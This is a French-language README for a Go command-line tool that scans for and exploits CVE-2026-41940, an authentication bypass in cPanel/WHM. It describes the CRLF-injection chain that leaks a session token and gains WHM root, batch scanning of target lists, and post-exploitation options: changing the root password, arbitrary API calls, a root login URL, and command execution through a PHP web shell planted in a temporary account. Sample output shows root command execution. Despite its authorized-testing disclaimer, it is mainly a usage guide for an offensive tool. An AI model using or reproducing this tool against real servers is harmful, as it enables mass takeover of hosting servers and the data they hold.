
Outil de scan et d'exploitation basé sur Go pour CVE-2026-41940, un contournement d'authentification dans cPanel/WHM. Prend en charge le scan par lots, la fuite de jetons et les actions de post-exploitation comme l'exécution de code à distance (RCE), le changement de mot de passe et les appels API.
Outil en ligne de commande Go réécrit à partir du PoC Python de watchTowr, conçu pour détecter et exploiter la vulnérabilité de contournement d'authentification CVE-2026-41940 cPanel/WHM.
CVE-2026-41940 est une vulnérabilité de contournement d'authentification dans cPanel/WHM. La chaîne d'attaque exploite une injection CRLF dans l'en-tête Basic Auth pour divulguer le jeton de sécurité et obtenir les privilèges root WHM.
Chaîne d'attaque en 4 étapes :
/login/ pour obtenir le cookie brut whostmgrsessionAuthorization: Basic pour forcer le serveur à divulguer le jeton de sécurité cpsess dans l'en-tête Location de la redirection 307do_token_denied pour propager les données d'authentification injectées du stockage brut vers le cache/json-api/version et vérifier l'obtention des privilèges roothttp://, https://, formats sans protocole, déduplication automatique-passwd)-api)-session)-cmd)[VULN] en rouge, [SAFE] en vert# Nécessite Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| Paramètre | Description | Exemple |
|---|---|---|
-u | URL cible unique | -u https://1.2.3.4:2087 |
-f | Fichier contenant la liste des URL | -f targets.txt |
-o | Chemin du fichier de sortie (défaut result.txt) | -o vuln.txt |
-c | Nombre de tâches concurrentes (défaut 10) | -c 20 |
-hostname | Spécification manuelle de l'en-tête Host (défaut : découverte automatique) | -hostname cpanel.example.com |
-passwd | Modification du mot de passe root (mode -u uniquement) | -passwd NewP@ss123 |
-api | Appel d'une fonction WHM API (mode -u uniquement) | -api listaccts |
-api-params | Paramètres WHM API, séparés par des virgules | -api-params user=root,password=123 |
-session | Génération d'une URL de connexion root en un clic (mode -u uniquement) | -session |
-keep | Conserver le compte temporaire RCE sans le supprimer (avec -cmd) | -keep |
-cmd | Exécution de commandes à distance / RCE (mode -u uniquement) | -cmd "id" |
./cpanel-checker -u https://target:2087
Le port par défaut est 2087, les écritures suivantes sont équivalentes :
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt prend en charge les formats suivants (une ligne par cible, les lignes commençant par # sont des commentaires) :
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# Ceci est un commentaire
http://1.1.1.1 et https://1.1.1.1 sont considérés comme la même cible, scannée une seule foishttps://2087result.txt (personnalisable avec -o)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# Lister tous les comptes
./cpanel-checker -u https://target:2087 -api listaccts
# Appel avec paramètres
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
Génère une URL qui, une fois ouverte dans un navigateur, donne accès au panneau d'administration WHM. Dans le panneau, utilisez la fonctionnalité Terminal pour obtenir un shell root interactif.
Remarque :
-sessionest semi-automatique — l'outil génère l'URL de connexion, puis vous devez l'ouvrir manuellement dans votre navigateur.
./cpanel-checker -u https://target:2087 -cmd "id"
Ajoutez -keep pour conserver le compte temporaire, afin de vous connecter à l'interface cPanel :
./cpanel-checker -u https://target:2087 -cmd "id" -keep
Avec -keep, la sortie inclura le nom d'utilisateur, le mot de passe et l'adresse de connexion cPanel du compte temporaire (https://host:2083). Utilisez directement ces identifiants pour vous connecter au panneau cPanel.
-cmd est entièrement automatique, aucune autre action manuelle n'est requise. Processus interne :
~/public_html/ via UAPI (Fileman::save_file_content)https://host/~tmpuser/shell.php via HTTP pour exécuter des commandesPrérequis : les ports 80 ou 443 de la cible doivent être accessibles, et Apache/httpd doit être en cours d'exécution.
Plusieurs paramètres d'exploitation peuvent être utilisés simultanément :
# Obtenir l'URL de connexion, exécuter une commande et modifier le mot de passe en même temps
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
Lorsque l'IP cible ne correspond pas au nom d'hôte configuré dans cPanel, vous pouvez le spécifier manuellement :
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
Par défaut, l'outil découvre automatiquement le nom d'hôte correct via la redirection 307 de /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== Scan terminé ==========
Total: 5 | Vulnérables: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] Résultats enregistrés dans result.txt
[*] Cible: https://target:2087
[*] Mode: Exploitation
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] Privilèges root WHM obtenus
[*] Exécution de commande à distance (RCE)...
[a] Création du compte temporaire: tmpabcde
[b] Écriture du shell: /home/tmpabcde/public_html/random.php
[c] Exécution de la commande: id
[d] Nettoyage du compte temporaire: tmpabcde
[+] Sortie de la commande:
uid=0(root) gid=0(root) groups=0(root)
[+] Terminé. https://target:2087 est compromis
-passwd, -api, -session, -cmd) ne sont disponibles qu'en mode cible unique -u, pas en mode lot -f# dans le fichier d'URL sont ignoréesCet outil est destiné uniquement aux tests de sécurité autorisés et à la recherche. Tester des systèmes sans autorisation est illégal. L'utilisateur doit s'assurer d'avoir obtenu une autorisation écrite explicite du propriétaire du système cible. L'auteur décline toute responsabilité en cas d'utilisation abusive.